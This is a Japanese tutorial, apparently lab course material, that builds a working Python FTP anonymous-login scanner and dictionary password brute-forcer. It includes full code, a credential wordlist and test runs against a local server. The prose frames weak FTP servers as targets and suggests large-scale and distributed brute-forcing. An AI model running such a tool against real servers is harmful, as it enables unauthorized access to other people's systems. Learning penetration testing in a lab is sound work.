はじめに
このプロジェクトは、Python を使って FTP の脆弱なパスワードスキャナを実装することから始まり、Python の浸透テスト技術の紹介を行います。この実験では、FTP サーバの原理を理解し、ftplib ライブラリを使うことや、その他の関連知識を学びます。
- FTP サーバの理解:FTP サーバについて、その目的と動作方法を学ぶ。
- FTPlib ライブラリの使用:Python の ftplib ライブラリを使って、FTP の匿名スキャナとパスワードの暴力的な解読器を実装する。
- argparse ライブラリの使用:Python の argparse ライブラリを使ってコマンドライン引数を処理する方法を学ぶ。
- Ubuntu で FTP サーバをセットアップする:テスト用にローカルで FTP サーバをセットアップするための手順に従う。
このプロジェクトは中等度の難易度で、Python の基本的な理解があるユーザに適しています。Python の基本知識を強化し、固める良い機会であり、Python の浸透テスト技術における実践経験を得ることができます。
👀 プレビュー
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456
[+] 127.0.0.1 FTP Login successful: admin:123456
[+] Host: 127.0.0.1 Username: admin Password: 123456
[*]-------------------Scan End!--------------------[*]
🎯 タスク
このプロジェクトでは、以下のことを学びます。
- FTP サーバの動作原理を理解する方法
- Python の ftplib ライブラリを使って FTP の匿名スキャナを実装する方法
- パスワード辞書を使って FTP サーバのパスワードの暴力的な解読器を実装する方法
- argparse ライブラリを使ってコマンドライン引数を処理する方法
- テスト用に Ubuntu で FTP サーバをセットアップする方法
🏆 成果
このプロジェクトを完了すると、以下のことができるようになります。
- Python を使って FTP サーバとやり取りする
- 匿名ログインと脆弱なパスワードのスキャニングを実装する
- Python でコマンドライン引数を処理する
- Ubuntu で FTP サーバをセットアップする
FTP サーバ
FTP サーバ(File Transfer Protocol Server)は、FTP プロトコルに従って、インターネット上でファイルの保存とアクセスサービスを提供するコンピュータです。FTP は File Transfer Protocol の略で、ファイル転送に特に設計されたプロトコルです。簡単に言えば、FTP プロトコルをサポートするサーバが FTP サーバです。
FTP は、TCP のみに基づくサービスであり、UDP をサポートしていません。FTP の特徴は、2 つのポート、データポートとコマンドポート(制御ポートとも呼ばれます)を使用することです。通常、これら 2 つのポートは 21(コマンドポート)と 20(データポート)です。ただし、データポートは FTP の動作モードによっては必ずしも 20 ではない場合があります。これがアクティブとパッシブな FTP の主な違いです。主に 2 つの動作モードがあります。
- アクティブ FTP
FTP サーバの制御ポートは 21 で、データポートは 20 です。したがって、静的マッピングを設定する際には、ポート 21 のみを開く必要があります。サーバはポート 20 を使ってクライアントと接続を開始します。
- パッシブ FTP
サーバの制御ポートは 21 で、データポートはランダムに割り当てられます。クライアントが対応するデータポートに接続を開始するため、静的マッピングのためにポート 21 のみを開くだけでは不十分です。この場合、DMZ(非軍事地帯)が必要です。
このプロジェクトでは、FTP スキャナの開発は主に以下の 2 つの点に焦点を当てています。
- 匿名 FTP のスキャン
匿名 FTP ログインのスキャンは、主にバッチスキャンに使用されます。単一の FTP サーバをスキャンする成功率は比較的低いですが、成功する可能性もあります。誰かがパスワードを設定していないのかと思うかもしれませんが、多くのサイトではまだユーザーに対して FTP サービスを提供しており、匿名ログインが許可されていることも珍しくありません。さらに驚くことに、サイト管理者がウェブサイトアクセスソフトウェアの更新のために便利さを考えて FTP の匿名ログインを開いていることもあります。これは私たちに多くの機会を提供しており、特に後者のタイプのサーバーを攻撃する場合、脆弱性があります。将来的には、FTP ディレクトリ内のウェブページを見つけた後にシェルを取得する方法を説明します。
- 脆弱な FTP パスワードのスキャン
脆弱な FTP パスワードのスキャンは、本質的にはパスワードの暴力的な解読です。なぜパスワードの暴力的な解読とは呼ばないのでしょうか?それは、私たちがいくつかの簡単なパスワードの組み合わせをスキャンしているだけで、すべての可能な組み合わせではないからです。さらに、私たちには何千年も生きることはできないので、それほど多くの時間をかけてパスワードの暴力的な解読をすることはできません!ただのパスワードです。脆弱なパスワードが見つからなければ、次に進めます。世界には数え切れないほどの花があるのに、なぜ 1 つの花にこだわる必要があるのでしょうか?ただし、本当にこの FTP サーバが好きな場合は、将来的に他のサーバーを侵入する方法を教えます!
FTP 匿名スキャナの実装
この場合、Python の ftplib ライブラリからの FTP クラスを使用します。FTP クラスは、FTP クライアントのほとんどの機能を実装しており、FTP サーバに接続したり、サーバ上のファイルを表示したり、ファイルのアップロードとダウンロードなどです。次に、匿名ログインを許可する FTP サーバのスキャンを実装するための anonScan(hostname) 関数を定義します。コードは以下の通りです。
## 匿名ログインスキャナ
def anonScan(hostname): ## パラメータはホスト名
try:
with FTP(hostname) as ftp: ## FTP オブジェクトを作成
ftp.login() ## FTP 匿名ログイン
print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!") ## 例外が発生しなければ、ログイン成功を意味する
return True
except Exception as e: ## 例外が発生すれば、匿名ログイン失敗を意味する
print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
return False
コードは簡潔で、コメントがコードの意味を説明しています。この関数の全体的な考え方は、まずホスト名を使って FTP オブジェクト(ftp と名付けます)を構築します。そして、この ftp オブジェクトに対してパラメータなしで login() 関数を呼び出して、FTP サーバへの匿名ログインを開始します。ログインプロセス中に例外が発生しなければ、匿名ログインは成功したことを意味します。そうでなければ、匿名ログインは失敗したことを意味します。
FTP の脆弱なパスワードスキャン
FTP における脆弱なパスワードのスキャンは、ユーザー名とパスワードの辞書に依存します。私たちの実験環境では、パスワード辞書として ~/project/pwd.txt が提供されます。
ftp:ftp
root:root
root:toor
admin:admin
geust:geust
admin:123456
charlie:brown
mickey:mouse
daffy:duck
1012NW:bezoek
bugs:bunny
donald:duck
minnie:mouse
elmer:fudd
tweety:bird
alfonse:capone
al:capone
albert:einstein
open:saysme
open:sayzme
open:sezme
次に、~/project ディレクトリにコードファイル ftpScanner.py を作成して、辞書の形式に従って FTP の脆弱なパスワードのスキャンを実装します。コードは以下の通りです。
## パスワードの暴力的な解読
def vlcLogin(hostname, pwdFile): ## パラメータ (ホスト名、辞書ファイル)
try:
with open(pwdFile, 'r') as pf: ## 辞書ファイルを開く
for line in pf.readlines(): ## 辞書ファイルの各行を読む
time.sleep(1) ## 1 秒待つ
userName = line.split(':')[0] ## 読み取った内容からユーザー名を抽出
passWord = line.split(':')[1].strip('\r').strip('\n') ## 読み取った内容からパスワードを抽出
print('[+] Trying: ' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp: ## ホスト名をパラメータとして FTP オブジェクトを作成
ftp.login(userName, passWord) ## 抽出したユーザー名とパスワードを使って FTP サーバにログイン
## 例外が発生しなければ、ログイン成功。ホスト名、ユーザー名、パスワードを表示
print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
## 例外が発生すれば、ログインに失敗したことを意味するので、他のユーザー名とパスワードを試し続ける
pass
except IOError as e:
print('Error: the password file does not exist!')
print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
return (None,None)
このコードスニペットは、辞書をループしてユーザー名とパスワードを読み取り、ログインを試みます。ログインに成功すれば、ユーザー名とパスワードが見つかったことを意味します。この関数は、ホスト名をカンマで区切ることができる文字列として定義しています。パスワードを見つけてもプログラムは終了せず、他のホストでの脆弱なパスワードのスキャンを続け、すべてのホストがスキャンされるまで続けます。
コマンドライン解析
これまでのところ、私たちの FTP スキャナはほぼ完成しています。コードは長くなく、かなりシンプルです。今、私たちがやる必要があることは、スクリプトがコマンドライン入力を処理して、どのホストをスキャンするかを制御できるようにすることです。コマンドライン引数を処理するために、Python の argparse ライブラリを使います。このライブラリは Python の組み込みモジュールで、コマンドラインの解析を非常に簡単にします。以下のコードを見て、argparse の力を目の当たりにしましょう。
## 説明を使って ArgumentParser オブジェクトを作成
parser = argparse.ArgumentParser(description='FTP Scanner')
## -H コマンドを追加。ここで dest は、-H の後に渡される値を取得するために使う変数名を指し、help はこのコマンドのヘルプ情報を提供します
parser.add_argument('-H', dest='hostName', help='The host list with "," space')
parser.add_argument('-f', dest='pwdFile', help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
argparse ライブラリを使ってコマンドライン引数を解析することで、引数を追加する際に提供した help キーワードに基づいて自動的にヘルプドキュメントを生成できます。結果はこのようになります。
python3 ftpScanner.py -h
usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]
FTP Scanner
optional arguments:
-h, --help show this help message and exit
-H HOSTNAME The host list with "," space
-f PWDFILE Password dictionary file
複雑なコマンドを扱う際には、argparse の力がさらに明らかになります。これは Python の基本機能なので、Python に含まれるライブラリに関してはあまり詳しくは触れません。
すべてのコードの統合
基本的なコードは既に実装されており、今は上記のコードを統合するだけです。コードは以下の通りです。
from ftplib import *
import argparse
import time
## 匿名ログインスキャン
def anonScan(hostname):
try:
with FTP(hostname) as ftp:
ftp.login()
print('\n[*] ' + str(hostname) + " FTP Anonymous login successful!")
return True
except Exception as e:
print('\n[-] ' + str(hostname) + " FTP Anonymous logon failure!")
return False
## パスワードの暴力的な解読
def vlcLogin(hostname, pwdFile):
try:
with open(pwdFile, 'r') as pf:
for line in pf.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print('[+] Trying: ' + userName + ':' + passWord)
try:
with FTP(hostname) as ftp:
ftp.login(userName, passWord)
print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
userName + ':' + passWord)
return (userName, passWord)
except Exception as e:
pass
except IOError as e:
print('Error: the password file does not exist!')
print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
return (None,None)
def main():
parser = argparse.ArgumentParser(description='FTP Scanner')
parser.add_argument('-H',dest='hostName',help='The host list with ","space')
parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
options = None
try:
options = parser.parse_args()
except:
print(parser.parse_args(['-h']))
exit(0)
hostNames = str(options.hostName).split(',')
pwdFile = options.pwdFile
if hostNames == ['None']:
print(parser.parse_args(['-h']))
exit(0)
for hostName in hostNames:
username = None
password = None
if anonScan(hostName) == True:
print('Host: ' + hostName + ' Can anonymously!')
elif pwdFile!= None:
(username,password) = vlcLogin(hostName,pwdFile)
if password!= None:
print('\n[+] Host: ' + hostName + 'Username: ' + username + \
'Password: ' + password)
print('\n[*]-------------------Scan End!--------------------[*]')
if __name__ == '__main__':
main()
これで、私たちのコードは完成です。いくつかの修正を加えることで、このスキャナをさらに強力にすることができます。たとえば、ホスト名を範囲内で指定して大規模なスキャンを行うことができたり、コードを修正して FTP のユーザー名とパスワードに対する分散型のパスワードの暴力的な解読を実装して、辞書の容量を増やして成功率を大幅に向上させることができます。
FTP サーバのセットアップ
次に、ローカルで FTP サーバをセットアップして、私たちのスキャナをテストする必要があります。ここでは、Python の pyftpdlib ライブラリを使って FTP サーバをセットアップします。pyftpdlib は、FTP サーバ用の Python ライブラリで、FTP サーバを迅速に構築するために使用できます。pyftpdlib のインストールは非常に簡単で、pip コマンドを使います。ターミナルに以下のコマンドを入力して、pyftpdlib ライブラリをインストールします。
sudo pip install pyftpdlib
sudo python3 -m pyftpdlib -p 21
デフォルトでは、匿名ログインが許可されています。
スキャンテスト
これで私たちの環境がセットアップされたので、FTP の脆弱なパスワードスキャナをテストすることができます。
cd ~/project
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[*] 127.0.0.1 FTP Anonymous login successful!
Host: 127.0.0.1 Can be accessed anonymously!
[*]-------------------Scan End!--------------------[*]
このテストでは、主に匿名ログインに焦点を当てています。脆弱なパスワードのパスワードの暴力的な解読に関しては、自分自身のパスワード辞書を見つけて、FTP サーバを解読しようとすることができます。
今度は、FTP サーバにパスワードを追加して再度テストしてみましょう。まず、FTP サーバを停止して、パスワード付きで再起動する必要があります。
sudo python3 -m pyftpdlib -p 21 -u admin -P 123456
python3 ftpScanner.py -H 127.0.0.1 -f pwd.txt
[-] 127.0.0.1 FTP Anonymous logon failure!
[+] Trying: ftp:ftp
[+] Trying: root:root
[+] Trying: root:toor
[+] Trying: admin:admin
[+] Trying: geust:geust
[+] Trying: admin:123456
[+] 127.0.0.1 FTP Login successful: admin:123456
[+] Host: 127.0.0.1 Username: admin Password: 123456
[*]-------------------Scan End!--------------------[*]
まとめ
このプロジェクトでは、以下のポイントを利用して FTP の脆弱なパスワードスキャナを実装しています。
- FTP サーバの基本概念
- FTPlib を使った FTP の脆弱なパスワードスキャナの段階的な実装
- argparse を使ったコマンドライン引数の解析
- テスト環境をセットアップする方法。



